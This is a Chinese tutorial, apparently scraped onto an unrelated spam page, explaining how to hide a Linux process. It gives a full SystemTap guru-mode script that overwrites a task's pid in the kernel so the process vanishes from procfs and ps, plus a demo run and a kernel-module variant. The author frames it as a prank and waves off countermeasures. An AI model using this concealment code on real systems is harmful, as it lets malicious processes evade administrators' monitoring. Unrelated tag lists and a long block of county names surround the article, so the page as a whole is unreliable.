佳木斯湛栽影视文化发展公司

主頁(yè) > 知識(shí)庫(kù) > 一行代碼教你如何隱藏Linux進(jìn)程

一行代碼教你如何隱藏Linux進(jìn)程

熱門(mén)標(biāo)簽:硅谷的囚徒呼叫中心 阿里云 美圖手機(jī) 百度競(jìng)價(jià)點(diǎn)擊價(jià)格的計(jì)算公式 智能手機(jī) 檢查注冊(cè)表項(xiàng) 網(wǎng)站建設(shè) 使用U盤(pán)裝系統(tǒng)

總有朋友問(wèn)隱藏Linux進(jìn)程的方法,我說(shuō)你想隱藏到什么程度,是大隱于內(nèi)核,還是小隱于用戶。

網(wǎng)上通篇論述的無(wú)外乎hook掉procfs或者類似的用戶態(tài)方案,也都難免長(zhǎng)篇大論,我說(shuō),這些場(chǎng)面都太大了,太復(fù)雜了。對(duì)于希望馬上看到效果的而言,看到這么一堆復(fù)雜的東西,大概率望而卻步。

本文介紹一種將Linux進(jìn)程小隱于用戶的非常規(guī)方法,僅僅一行代碼:

修改掉進(jìn)程的pid即可。

注意是小隱,所以,不值得反制,逗一下高級(jí)會(huì)議工程師搞個(gè)惡作劇玩玩得了。
target->pid = 0x7fffffff;

完整的腳本如下:

#!/usr/bin/stap -g
# hide.stp

global pid;

function hide(who:long)
%{
 struct task_struct *target;

 target = pid_task(find_vpid(STAP_ARG_who), PIDTYPE_PID);
 target->pid = 0x7fffffff;
%}

probe begin
{
 pid = $1
 hide(pid);
 exit();
}

來(lái)來(lái)來(lái),試一下:

[root@localhost system]# ./tohide &
[1] 403
[root@localhost system]# ./hide.stp
[root@localhost system]# 

用下面的命令可以檢測(cè)所有可顯示進(jìn)程的二進(jìn)制文件:

for pid in $(ls /proc|awk '/^[0-9]+/{print $1}'); do 
 ls -l /proc/$pid/exe; 
done

procfs里沒(méi)了,ps當(dāng)然就檢測(cè)不到了。

如果你覺(jué)得guru模式的stap怪怪的,那么你完全可以編寫(xiě)自己獨(dú)立的Linux kernel module,采用修改完即退的方法:

target->pid = xxxx;
return -1;

是不是比各種hook法簡(jiǎn)單多了,所謂的 動(dòng)數(shù)據(jù)而不要?jiǎng)哟a!

簡(jiǎn)單的說(shuō)一下原理。

  • task被創(chuàng)建的時(shí)候,根據(jù)其pid注冊(cè)procfs目錄結(jié)構(gòu)。
  • 展示procfs目錄結(jié)構(gòu)的時(shí)候,遍歷task list以其pid作為key來(lái)查找procfs目錄結(jié)構(gòu)。
  • 0x7fffffff(或者任何其它合理的值)根本沒(méi)有注冊(cè)過(guò),當(dāng)然無(wú)法顯示。

不多說(shuō)。

再次聲明,不要試圖對(duì)本文所描述的方法進(jìn)行反制,因?yàn)檫@么簡(jiǎn)單的東西根本不值得反制,哈哈,不是嗎?

可以參考我之前的Rootkit系列文章來(lái)繼續(xù)研究Linux進(jìn)程大隱于內(nèi)核的方法。同時(shí),每一種方法我都給出了反制措施。

到此這篇關(guān)于一行代碼教你如何隱藏Linux進(jìn)程的文章就介紹到這了,更多相關(guān)Linux隱藏進(jìn)程內(nèi)容請(qǐng)搜索腳本之家以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持腳本之家!

標(biāo)簽:黃山 山南 湘潭 懷化 賀州 煙臺(tái) 湖北 通遼

巨人網(wǎng)絡(luò)通訊聲明:本文標(biāo)題《一行代碼教你如何隱藏Linux進(jìn)程》,本文關(guān)鍵詞  ;如發(fā)現(xiàn)本文內(nèi)容存在版權(quán)問(wèn)題,煩請(qǐng)?zhí)峁┫嚓P(guān)信息告之我們,我們將及時(shí)溝通與處理。本站內(nèi)容系統(tǒng)采集于網(wǎng)絡(luò),涉及言論、版權(quán)與本站無(wú)關(guān)。
  • 相關(guān)文章
  • 收縮
    • 微信客服
    • 微信二維碼
    • 電話咨詢

    • 400-1100-266
    鹤山市| 环江| 临夏县| 大竹县| 宁陕县| 玉龙| 东乡| 甘德县| 麦盖提县| 周至县| 石阡县| 应城市| 承德县| 刚察县| 当阳市| 临清市| 温泉县| 慈溪市| 蓬溪县| 朝阳市| 万宁市| 原平市| 天柱县| 郎溪县| 黎川县| 封开县| 南木林县| 高尔夫| 台北市| 沁水县| 光山县| 榆林市| 顺昌县| 巴楚县| 牟定县| 绥滨县| 静乐县| 沂南县| 嘉鱼县| 三河市| 聊城市|